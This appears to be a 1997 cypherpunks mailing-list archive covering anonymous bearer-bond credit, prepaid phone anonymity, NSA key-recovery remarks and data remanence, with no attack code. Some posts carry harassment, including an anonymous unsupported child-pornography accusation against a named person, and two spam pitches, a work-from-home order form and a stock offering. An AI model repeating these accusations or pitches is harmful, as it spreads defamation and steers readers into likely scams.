Apr 1997 12:07:51 -0700 (PDT) Subject: anonymous credit Message-ID: <199704121752.KAA03393@crypt.hfinney.com> Wei Dai, , writes: > The idea goes like this. The government announces a new series of > anonymous zero-coupon treasury bonds that mature in 10 years, backed by a > special lump-sum tax to be collected when the bonds mature. The proceeds > of the bond auction and the tax are distributed equally among everyone. > So basicly, the government forces everyone to take out a loan on the > credit market and guarantees its collection. Anyone who does not want the > loan anonymously buys treasury bonds with all of his distribution, holds > them for 10 years, redeems them at maturity and uses the proceeds to pay > off the lump-sum tax. I think this is a very intriguing idea. Let me try to spell it out in more detail with some concrete numbers. A zero-coupon bond is one with a purchase price less than its face value. After the maturation of the bond, it can be redeemed for its face value. The purchaser of such a bond is loaning money to its buyer, and he will be paid off at the end of the loan period with more money than he put in. For a ten year bond, maybe the purchase price is 1/2 its face value. A $1000 bond would be purchased for $500, and redeemed in 10 years for $1000. An "anonymous" bond would be a bearer bond, one which is sold without any record of who bought it, and which can be redeemed at maturity by whomever holds it. In the example above, the U.S. government sells, say, $1 billion worth of these 10 year zero coupon bonds. It will have to pay back $2 billion in ten years at maturity. The $1 billion in revenues is then distributed evenly to everyone in the country. Assuming a population of 250 million, each man, woman, and child gets $4. In ten years, in order to pay off the redeemed bonds, $2 billion of special taxes will be collected. This will amount to $8 per person. As Wei says, each person in the country (who doesn't participate in the bond sale) is given $4 now, and must pay $8 in ten years. In effect he is given a $4 loan, payable in ten years. If he does not want that loan, he can take his anticipated $4 and buy $4 worth of the bonds during the bond sale. This produces no gain or loss of money, but he gets the bond. Then, in ten years, he turns in his bond for $8, and uses that to pay off the $8 in taxes. He ends up without any change in his financial state, neither loaning nor borrowing money. (There is a slight complication in that at the time of the bond sale, people who want to offset their loan with a bond purchase won't yet have the loan funds to buy the bond; and at the end, people want to pay off their tax with the bond redemption, but the government can't redeem the bonds until it collects the tax. I'm not sure if this is a serious problem or not.) Now, if this picture is correct, this isn't exactly how I would have thought of an anonymous loan. The people receiving the distributed revenues from the bond sale are essentially borrowing money from the government. Every borrower is identified, and must pay back his loan in ten years via his taxes. So the loans are fully identified and not anonymous. What does happen though is that some (or most?) of the people can offset their loan by anonymously lending money (buying bonds). In effect they have borrowed money from the government, non-anonymously, but then have the option of lending all of it back, anonymously. At the end, it is impossible to know which people have retained their loans and which people have cancelled them. So you don't know who has borrowed money, and this therefore is effectivelly equivalent to an anonymous loan. > The fatal flaw, of course, is that there is no reason why the government > would want to help people get anonymous loans. Can anyone find a way to > fix this? Maybe a non-governmental body could be used in place of the government. Suppose a group of people wanted to allow some members to borrow money anonymously. For example, a church group wants to help members through tough times via loans, but they don't want the recipients to be identified and bear the stigma of needing charity. Wei's idea could still be used: the church sells its own bonds, redeemable at some future date for more than the face value. The funds from the sale are distributed evenly to all members. Members who don't want to borrow make purchases at least equal to their receipts. Then, after the time period, everybody has to pay a special membership fee ("tax") so that the bonds can be redeemed. If some people can't pay, the other members will have to be willing to pay more to cover their defaults. One practical problem with this idea is that the amount of money loaned per person is small compared to the volume of transactions going on, especially for large groups. In my example above, each person only anonymously borrowed $4, given $1 billion worth of transactions. That's a lot of paperwork with associated transaction costs for a small value. With smaller groups the idea might actually be more practical, although there is less anonymity then. Hal From jimbell at pacifier.com Sat Apr 12 12:24:21 1997 From: jimbell at pacifier.com (Jim Bell) Date: Sat, 12 Apr 1997 12:24:21 -0700 (PDT) Subject: Jim Bell raid Message-ID: <199704121924.MAA16622@mail.pacifier.com> At 20:05 4/04/97 -0500, John Young wrote: >Now that's Assassination Politics to feed the lust of the best and brightest >of all nations, if not that of a few of the overmuch AP protestors here. > >Jim's telephone number: 1-360-686-3911 My _correct_ phone number is 1-360-696-3911. Sorry that I didn't notice the error until now. Jim Bell jimbell at pacifier.com From kent at songbird.com Sat Apr 12 13:50:47 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 12 Apr 1997 13:50:47 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk> Message-ID: <19970412134742.15722@bywater.songbird.com> On Fri, Apr 11, 1997 at 06:34:48PM -0500, Igor Chudov @ home wrote: > market efficiency and chaos are not necessarily mutually exlusive > > - Igor. True. Also, there are two kinds of efficiency. The "efficient" in eg, "efficient market hypothesis" is different from the "efficient" in "markets are more efficient than planned economies". -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From camcc at abraxis.com Sat Apr 12 14:02:32 1997 From: camcc at abraxis.com (Alec) Date: Sat, 12 Apr 1997 14:02:32 -0700 (PDT) Subject: None In-Reply-To: <199704112140.OAA27286@fat.doobie.com> Message-ID: <3.0.1.32.19970412163839.007e0bf0@smtp1.abraxis.com> At 09:14 PM 4/11/97 -0600, Graham-John Bullers wrote: |On Fri, 11 Apr 1997, Huge Cajones Remailer wrote: The medicine is as bad as the ailment; I think Graham-John Bullers needs each of us to send ten copies of this back to him. | |I think Vulis needs each of us to send ten copies of this back to him. | |> There's a rumor that Timothy Mayhem sells his dead relatives as |> fertilizer as they constitute the best shit in California. |> |> ||||||||||| |> \~0/ \0~/ |> < (0) > |> --oOO--/|||\--OOo- Timothy Mayhem |> | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |Graham-John Bullers email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From rah at shipwright.com Sat Apr 12 14:57:50 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 12 Apr 1997 14:57:50 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: Mr. Crispin? Fuck you. With a brick. Now, exactly what did that nasty little bit of vituperation have have to do with our admittedly equivocal discussions about the definition of randomness, and whether any given market was a random process -- definitional prestidigitation aside -- and thus as efficient as it was ever going to be? Something any finance major, and probably any electrical engineer, for that matter, is taught in the third week of school? Not a god-damned thing. A point, which, if you actually go back and *read* the asinine (woops!) bit of logical sophistry (so sorry!) you eventually found yourself in, you might have actually comprehended. If you didn't fancy yourself as God's Gift to Disputation (damn... another one; I simply *must* stop this). Which, of course, was my point in showing you all your ad hominems. A point you didn't actually get, insisting on piling on more instead, so you could "prove" your point with a veritable bestiary of informal fallacies. (The nadir of which, by the way, was asking me to clarify something I said in passing, and then calling it a "straw man" in reply. Remarkable.) Having watched you for a while, and having determined that you have nothing new to add to the discussions here, I have no compunction whatsoever about putting you into my killfile. With a brick, Mr. Cretin^h^h^h^hispin. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Sat Apr 12 14:57:59 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 12 Apr 1997 14:57:59 -0700 (PDT) Subject: anonymous credit In-Reply-To: <199704121752.KAA03393@crypt.hfinney.com> Message-ID: This looks pretty much like a standard secondary market for digital bearer bonds. For the few of those here who haven't done so already ;-), see the e$ home page for several rants on the same subject. The only people who really need to be identified in such a market -- at least as "identified" as a perfect pseudonym needs to be -- are the issuer and the trustee, both of whom must have some kind of persistant reputation in order to issue the bonds in the first place. The issuer because they're borrowing the money for something, and trustee, because, as the financial intermediary, they're renting their reputation to the trade in exchange for a haircut on a transaction somewhere, usually at issuance and redemption. In Mr. Dai's case, the trustee is some large trustworthy entity, and the issuer is a bunch of anonymous, or at least pseudonymous, people whose reputations would be trashed by the trustee though on a separate "channel" if they don't pay up. It's actually what happens with mortgages and bank accounts all the time, except we're doing it here in bearer form. In fact, in blinding(?) the borrower's identity from the lender, we doing something pretty much like securitizing the debt. There is nothing to keep us from pooling the debt and issuing securitized versions, controlling for all kinds of risks much the same way that GNMAs, or CMOs, or other deriviative fixed income assets do. In fact, it's a very good business reason for doing this, and so it probably will happen in the long run. Once again, anonymity (of a sort) is cheaper than identity. By the way, the trustee doesn't have to be large, only reputable. If Moore's Law allows it, I anticipate markets in which the trustees could become very small indeed, and would actually form syndicates with lots of entities to handle what would now be considered routinely small transactions, like lunch. :-). This the "personal" digital bearer bond that I abuse so much as a replacement for credit cards when I explain this stuff to people who are starting to learn about it. :-). Hal's discussion about lending principal and borrowing from the same pool at the same time reminds me of a scheme I've heard for hedging against the eventual day when the US government repudiates its debt. If you feel morally obliged to kick in your share, anyway. The idea is, hold your calculated share of the national debt in US Treasuries (with interest reinvestment, of course :-)), and, when the fateful day comes, you'll owe the "money", now zero, to yourself, just like Roosevelt said. Actually, if the government is moral and starts to repay the debt, you can hold treasuries and redeem them to pay the debt-repayment surtax. Of course, you could make better money elsewhere, but there is a certain, um, fireside, symmetry about it. At this stage, however, I'm a confirmed pyrophobe, Fed-wise. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From toto at sk.sympatico.ca Sat Apr 12 16:52:00 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 16:52:00 -0700 (PDT) Subject: Fuck/god-damned/damn / Was--Re: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: <33501DF7.6A62@sk.sympatico.ca> Robert Hettinga wrote: > > Fuck you. With a brick. > god-damned > damn... As a long-time sufferer of Tourette Syndrome, I would like to thank all those on the list who have gone out of their way to make me feel at home. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/webworld From toto at sk.sympatico.ca Sat Apr 12 16:52:01 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 16:52:01 -0700 (PDT) Subject: "internet is ruining representative govt" In-Reply-To: <199704122040.NAA09910@netcom13.netcom.com> Message-ID: <33501CBF.1172@sk.sympatico.ca> Vladimir Z. Nuri wrote: > *To: Multiple recipients of list > *Subject: Cokie Roberts on How Internet Is Ruining Representative Government > For many parents, the idea of yet another influence in their children's > lives over which they have no control is threatening. Kookie Roberts is just another in a long line of parents who seem to think that control over their children's development is the responsibility of someone other than themselves. I have a wonderful idea. How about if those parents who don't want to assume responsibility for control over their children's lives pass custody of them to someone who will assume that responsibility, instead of arguing that everyone else's rights must be abridged because they are busy doing other things. I, for one, don't want to be forced to live in Kookie's world just because she is too busy being busy and important to properly supervise her children. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Sat Apr 12 16:52:11 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 16:52:11 -0700 (PDT) Subject: Appeals to Authority and Herr Doctor Professors In-Reply-To: Message-ID: <33501FB1.5109@sk.sympatico.ca> Kent Crispin wrote: > > my opinions are my own, and do not represent any agency > other than the ones involved in the murder of J.F.K. Uhh...OK. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From lucifer at dhp.com Sat Apr 12 17:03:02 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sat, 12 Apr 1997 17:03:02 -0700 (PDT) Subject: [ADMINISTRATIVIUM] Degausser Message-ID: <199704130002.UAA00448@dhp.com> Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, and racial epithets. <<<< o(0-0)o -ooO-(_) Ooo-- Timothy C. May From toto at sk.sympatico.ca Sat Apr 12 17:39:28 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 17:39:28 -0700 (PDT) Subject: Jim Bell / Columbian News Articles Message-ID: <33502C13.2FD6@sk.sympatico.ca> A variety of articles on Jim Bell are available at: http://www.columbian.com -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From real at freenet.edmonton.ab.ca Sat Apr 12 18:09:39 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sat, 12 Apr 1997 18:09:39 -0700 (PDT) Subject: [ADMINISTRATIVIUM] Degausser In-Reply-To: <199704130002.UAA00448@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote: > Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, > child pornography (both as graphic descriptions and in JPEG format), ethnic > slurs, and racial epithets. > > <<<< > o(0-0)o > -ooO-(_) Ooo-- Timothy C. May > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From frissell at panix.com Sat Apr 12 18:32:16 1997 From: frissell at panix.com (Duncan Frissell) Date: Sat, 12 Apr 1997 18:32:16 -0700 (PDT) Subject: Swedish Narcotics Police Demand Telephone Card Database In-Reply-To: Message-ID: <3.0.1.32.19970412213029.0074c920@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 03:36 PM 4/11/97 -0700, Martin Minow wrote: >According to an article in the Swedish newspaper, Svenska Dagbladet >, >the Stockholm narcotics police has asked the national police and >State Prosecutor to require that purchasers of a new telephone >card used for mobile telephones be registered, and that the police >have access to the purchaser database. "Since the card is purchased >anonymously, the owner cannot be determined, which makes wiretapping >impossible." This week's Economist has an article on how the Italian national phone system is making lots of money marketing GSM phones fed by cards that can be bought for cash. It expands the market for such phones. I mentioned a few weeks ago, that Omnitel (a new PCS operator in the NYC vicinity is selling (and heavily promoting) its no contract, no credit check, card fed phone. The phones and cards (after you buy the phone cards, you call in the cards to an operator to add credit to the account) are available all over the area. The phone costs $99 (after rebate). Yesterday, as I was walking past a Radio Shack, I noticed that they are also selling a competing card fed PCS phone with the contradictory name of Tracphone. I love Capitalism. It's easy to see why New York PCS operators would turn in this direction. They won expensive PCS franchises and have to spend big bucks to tower the vicinity. It would be nice for them if they could get an income stream to help pay part of the interest. But there's a problem. Cellular providers NYNEX/Bell Atlantic and AT&T are offering phones for $15/month which work throughout the BOSWASH megaplex (and nationwide with roaming charges) meanwhile the PCS vendors just cover NYC and Northern New Jersey. They need to offer something else. The benefit of card fed phones to vendors is obvious. Suddenly, the 20-40% of the population that can't (or doesn't want to) qualify for a credit-checked cellular account can just pony up the cash and walk out with one. A real privacy benefit as well. If the authorities can't keep anonymous people from getting accounts in such a regulated industry, it is hard to imagine how they expect to bar anonymous accounts in an unregulated system like the Net. DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM1A3MYVO4r4sgSPhAQH6wgQAld4wPBQhFbSWptR30Piczw408IIUKSBO UPH/p+NRGHvlkuKrG20s3Y6e7k8qFoK+0L00/iaINtemoEb3POgO+MdkB22KSlto huxivV6pfT6fC90R09v5uSuGv7yveGbsLjwo47NQNoAVjM1G/P5OiJ3c49nqPXb+ r+nGqc+K4u4= =UBks -----END PGP SIGNATURE----- From jlabelle at expert.cc.purdue.edu Sat Apr 12 19:48:07 1997 From: jlabelle at expert.cc.purdue.edu (*****Jay Jason LaBelle*****) Date: Sat, 12 Apr 1997 19:48:07 -0700 (PDT) Subject: the substrate Message-ID: What exactly happens to the substrate that causes data to be somewhat readable after a specific bit pattern has been stored there for a long time? ------------------------------------------------------------------------------ Jay LaBelle Amateur Radio Callsign: KB8ZAV Phone:(317)495-2836 ------------------------------------------------------------------------------ From summers at osu.edu Sat Apr 12 19:50:49 1997 From: summers at osu.edu (Henry Summers) Date: Sat, 12 Apr 1997 19:50:49 -0700 (PDT) Subject: Business Opportunity Message-ID: <01IHMV30CHWYBIL0Z6@phem6.acs.ohio-state.edu> ******************************************************************* The author of this message used a trial version of NetMailer from Alpha Software Corporation to send this message to you. NetMailer is Email-Merge for the internet. You can send personalized email to all of your contacts at once. For more information, visit http://www.netmailer.com/trial or call (617) 229-2924 x117. NetMailer is also available at CompUSA, Computer City, Egghead, Best Buy, and other retailers worldwide. ******************************************************************* Earn $800.00 a Week Extra Income! Here's How to Get Started Dear Friend, Let me tell you which companies to contact so you can start to receive your checks. They can be $200.00, $400.00, $800.00, or more per week, depending on what you do. You can earn this excellent income right at home, and you work only when you want. My name is Henry Summers. I know you can make this money because I investigate income opportunities. I send for the moneymaking programs and offers that are listed in home work directories or advertised in magazines or by mail. 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I'll give you a toll-free number to call so you can get started fast. Print this order form. __________________________________________________________ -Rush Order Form- #60268 Yes, I would like to start earning money as soon as possible. Please rush me Real Home Income and the bonus report by first class mail. I understand it is backed by a lifetime money back guarantee. Enclosed is $29.95 plus $3.00 for postage and handling. $32.95 total. (If you live in California, please send $34.95.) Name: SUMMERS PUBLICATIONS 1010 Calle Cordillera Address: P.O. Box 3127 San Clemente, CA 92674 City, State, Zip: _________________________________________________________ ******************************************************************* <[USERNAME]> sent you this message using NetMailer from Alpha Software Corporation. Visit http://www.netmailer.com/trial for more information. ******************************************************************* From tcmay at got.net Sat Apr 12 20:34:10 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 12 Apr 1997 20:34:10 -0700 (PDT) Subject: the substrate In-Reply-To: Message-ID: At 6:48 PM -0800 4/12/97, *****Jay Jason LaBelle***** wrote: >What exactly happens to the substrate that causes data to be somewhat >readable after a specific bit pattern has been stored there for a long time? > I really hate these short, ambiguous questions. If I understand your question, it depends on the technology, In traditional silicon devices, either NMOS or CMOS, using SiO2 as the dielectric in the storage capacitors and/or transfer gates, longterm storage of a fixed bit pattern can produce residual threshold shifts. This can be caused by trapping in the oxide, or even by short channel effects injecting electrons. DRAMs and SRAMs have different imprinting characteristics. (Interestingly, exposure to gamma or beta radiation uniformly can "freeze in" a stored bit pattern for later readout under special conditions.) I suggest a good book on semiconductor device physics, such as Andy Grove's book, or Sze's standard textbook. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From webmaster at sierra.com Sat Apr 12 23:19:42 1997 From: webmaster at sierra.com (Sierra On-Line) Date: Sat, 12 Apr 1997 23:19:42 -0700 (PDT) Subject: Sierra On-Line FAQ Message-ID: <199704130619.XAA09452@cerberus.sierra.com> Thanks for visiting SierraWeb! This message contains important information regarding your subscription, so we recommend that you keep a copy for future reference. In particular, you will need to know your username and password to access certain features of our web site: USERNAME: cypherpunks PASSWORD: cypherpunks We can't change your password or look up your existing information, so if you lose your password, you'll have to re-apply under a different name. The rest of this message contains an introduction to our site and answers to frequently asked questions. Thanks again for visiting SierraWeb! - - - - - - - - - - - - - - - - - - - - Questions! When you have a web site, you tend to hear the same questions from a lot of different people. And so your friendly webfolks at Sierra put together a list of questions that we hear on a regular basis, complete with the answers that we've typed so many times that we see them in our sleep. And we call it: THE SIERRAWEB FAQ (that's Frequently Asked Questions, not Frantic About Queensryche. Read on!) Q: Okay, I've managed to live this long without logging onto your really cool web site, but I just can't take it any more! How do I log on? A: Well, first you're going to have to go there. The SierraWeb address is: http://www.sierra.com/ This will take you to our main menu page. From this page, you can register to be a member of our site (which we'd probably like to call the Sierra Club, except that the name's already taken, and they don't do computer games). Click on Join to register, and you'll be asked to choose a user name and password, and write them down somewhere where the dog won't chew `em up. Q: I've spent the last six months in a freak time warp/in my aunt's house in Pittsburgh/in a pit/writing my thesis/on an archaeological expedition to Egypt/trying to solve the Chinese Checkers puzzle in Shivers, and in the meanwhile I've forgotten my username or password. Can you tell me what it is? A: Nope! We have no way to tell what your password or user name is. If you've forgotten yours, it's time to pick a new one. Just fill out the registration form again, this time choosing a different username and password. Q: You've got enough pages on your web site to keep Victor Hugo happy (cultural reference, here, folks ... French author, wrote Les Miserables, you could get a hernia lifting the unabridged version). So how am I supposed to find all the info I want about a specific product without having to dig through all those pages? A: You're in luck. The Search feature of our site will allow you to go to just the topics you're interested in and skip the rest, like picking through the dessert buffet and selecting only the stuff that has jell-o in it. So if you only like baseball simulations, or low-fat recipe programs, or computer games with robots in them, all you need to do is click on Search (always found at the bottom right-hand corner of each page), and type in the word you're looking for. This will provide you with a list of all the places on our site that your subject is mentioned. Look through the list, click on anything that looks interesting, and it'll take you there! Q: Okay, so I've looked through 97 different pages on your site, downloaded 8 demos and enough screenshots to fill a bucket of zip cartridges, talked for three hours with the folks in the Chat rooms, and, frankly, my brain is fried and I really don't want to hit "<- Back" about 183 times to get back to the index page. Isn't there an easier way? A: Yep. At the bottom of each page is a "Home" button. Click it. Q: I clicked to download a file, and it gave me an error message which said, "FTP anonymous access denied". What's up with that? I wasn't trying to be anonymous. Doesn't your system recognize me any more? This is starting to sound like an episode of "Nowhere Man"! A: Don't worry about it. It just means that the file you want can't be downloaded from the server at the moment. Our server is usually busier than a colony of ants at a Fourth of July picnic, so it may take several tries to get a file. Just try your download again later. From kent at songbird.com Sat Apr 12 23:37:18 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 12 Apr 1997 23:37:18 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: <19970412233422.41891@bywater.songbird.com> On Sat, Apr 12, 1997 at 04:57:57PM -0400, Robert Hettinga wrote: > Mr. Crispin? > > Fuck you. With a brick. [...] > Having watched you for a while, and having determined that you have nothing > new to add to the discussions here, I have no compunction whatsoever about > putting you into my killfile. > > With a brick, Mr. Cretin^h^h^h^hispin. > > > > Cheers, > Bob Hettinga Well, you've probably all seen this before, but somehow it seemed appropriate for the occasion: Pierre, the French fighter pilot, takes his girlfriend, Marie, out for a pleasant little picnic by the river Seine. It's a beautiful day and love is in the air so Marie leans over to Pierre and says: "Pierre, kiss me!". So our hero grabs a bottle of red wine and passionately splashes it on Marie's lips. "What are you doing, Pierre?" shrieks Marie. "Well, my name is Pierre, the French Fighter Pilot, and when I have red meat I like to have red wine!" His answer is good enough for Marie and things begin to heat up. So she says: "Pierre, kiss me lower." Our hero rips off her blouse, grabs a bottle of white wine and starts pouring it all over her breasts. "Pierre, what are you doing?" "My name is Pierre, the French Fighter Pilot, and when I have white meat, I like to have white wine!" They resume their passionate interlude and things really steam up. Marie leans over once more and softly whispers into his ear: "Pierre, kiss me lower." Pierre tears off her underwear, grabs a bottle of Cognac and sprinkles it all over. He grabs a match and lights it on fire. Patting the flames out furiously, Marie screams: "PIERRE, WHAT ARE YOU DOING!!!?" "My name is Pierre, the French Fighter Pilot, and when I go down, I go down in flames!" -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From ceo at mitnet.com Sun Apr 13 01:36:50 1997 From: ceo at mitnet.com (chairman) Date: Sun, 13 Apr 1997 01:36:50 -0700 (PDT) Subject: Digi-Cash IPO! $1.60 per share Message-ID: <199704130245.WAA04552@ispam.net> Greetings: Our market research indicated that this information may very well be very interesting to you! As you may know, initial public stock offerings confer upon QUALIFIED INVESTORS huge profit potential opportunities, IF they understand risk. Millennium Interactive Technologies Corp., developer of the first ever advertiser funded system of digital cash is offering 625,000 common shares directly to the public at $1.60 per share, with a 625 share minimum. MITNET is an E-commerce startup which will offer Digital Cash and a FREE smart card to every user who retrieves advertising E-mail from its Internet web site. MITNET DCUs (Digital Currency Units) can be redeemed to pay for your on-line charges, Or converted instantly into the currency of any nation. MITNET ad-mail is the future of Internet advertising! OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS QUALIFIED INVESTORS of full age can obtain a printed copy of this offering prospectus, demo software, and the website URL, by sending a reply with name, street address, and day or evening phone number. (please specify) =================================================== This is neither an offer to sell, nor the solicitation of an offer to buy any securities. =================================================== Dislike commercial e-mail? Let us put you on our master *DO-NOT-MAIL* list which we supply to 400+ bulk e-mail firms. Simply reply with the word remove anywhere in your message. =================================================== mailto:ceo at mitnet.com From tdls at voyager.net Sun Apr 13 05:36:34 1997 From: tdls at voyager.net (Tom) Date: Sun, 13 Apr 1997 05:36:34 -0700 (PDT) Subject: LSL5 - Patty can't get into Studio 2 Message-ID: <199704131236.FAA15487@cerberus.sierra.com> When you get to the bottom of the elevator, you have to go one screen to the right to get to the right studio. Then you can use the number from the blue stickum. -- (This message was sent to you automatically as a reply to a message you posted in "The Land of the Lounge Lizards" on Sierra's web site at http://www.sierra.com/messages/larry/.) From lucifer at dhp.com Sun Apr 13 06:09:56 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 13 Apr 1997 06:09:56 -0700 (PDT) Subject: NoneZero-knowledge commit Message-ID: <199704131309.JAA32360@dhp.com> Tim C. May styles his facial hair to look more like pubic hair. /_/\/\ \_\ / Tim C. May /_/ \ \_\/\ \ \_\/ From jya at pipeline.com Sun Apr 13 07:48:18 1997 From: jya at pipeline.com (John Young) Date: Sun, 13 Apr 1997 07:48:18 -0700 (PDT) Subject: NSA on GAK Message-ID: <1.5.4.32.19970413144709.0080aef0@pop.pipeline.com> Excerpts of remarks by NSA head William Crowell to NISSC96, October, 1996: Key recovery may prove essential in making encryption scalable on an international basis. We are not the only country wrestling with the public safety implications of unbreakable cryptography. France, Israel and Russia recently imposed import and domestic use restrictions. Several Asian, South American and African countries have had similar restrictions in place for years. Others may impose them as strong cryptography proliferates. For many overseas, as well as here, the logic of the need to balance business imperatives with public safety concerns argues for key recovery. The European Union and other confederations are considering key recovery-based KMIs. The world's major standards bodies are designing future standards so that key recovery can be accommodated. International standards and protocols for key recovery may prove essential to hand off national restrictions on strong encryption, to promote a broad export market for cryptography and to establish a key management infrastructure acceptable for general international use. This would accelerate the realization of the promise of information technology, and that would be in everyone's best interest. Working in partnership, government and industry together need to lay the foundation necessary to sustain and strengthen information security for America. I wish to emphasize that the infrastructure for key management will be built by industry as a commercial venture. This task is huge. Collaboration among many partners will be essential if we are to establish a KMI that promotes the use of encryption worldwide. ----- For full talk: http://jya.com/nsagak.htm From real at freenet.edmonton.ab.ca Sun Apr 13 08:04:31 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sun, 13 Apr 1997 08:04:31 -0700 (PDT) Subject: None In-Reply-To: <199704131309.JAA32360@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Sun, 13 Apr 1997, lucifer Anonymous Remailer wrote: > Tim C. May styles his facial hair to look more like pubic hair. > > /_/\/\ > \_\ / Tim C. May > /_/ \ > \_\/\ \ > \_\/ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From rah at shipwright.com Sun Apr 13 09:47:45 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Apr 1997 09:47:45 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com> Message-ID: At 3:41 am -0400 on 4/13/97, Rich Graves wrote: >I've been told that the main reason > almost the entire MSN team left Microsoft about a year ago is that they > were prohibited from pursuing more efficient non-proprietary solutions. Hettinga's paraphrase of Gilmore's Law: "A geodesic economy sees monopoly as damage and routes around it." Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From geeman at best.com Sun Apr 13 09:47:53 1997 From: geeman at best.com (geeman) Date: Sun, 13 Apr 1997 09:47:53 -0700 (PDT) Subject: NSA on GAK Message-ID: <3.0.32.19970413094112.006df174@best.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 3714 bytes Desc: not available URL: From rah at shipwright.com Sun Apr 13 09:48:00 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 13 Apr 1997 09:48:00 -0700 (PDT) 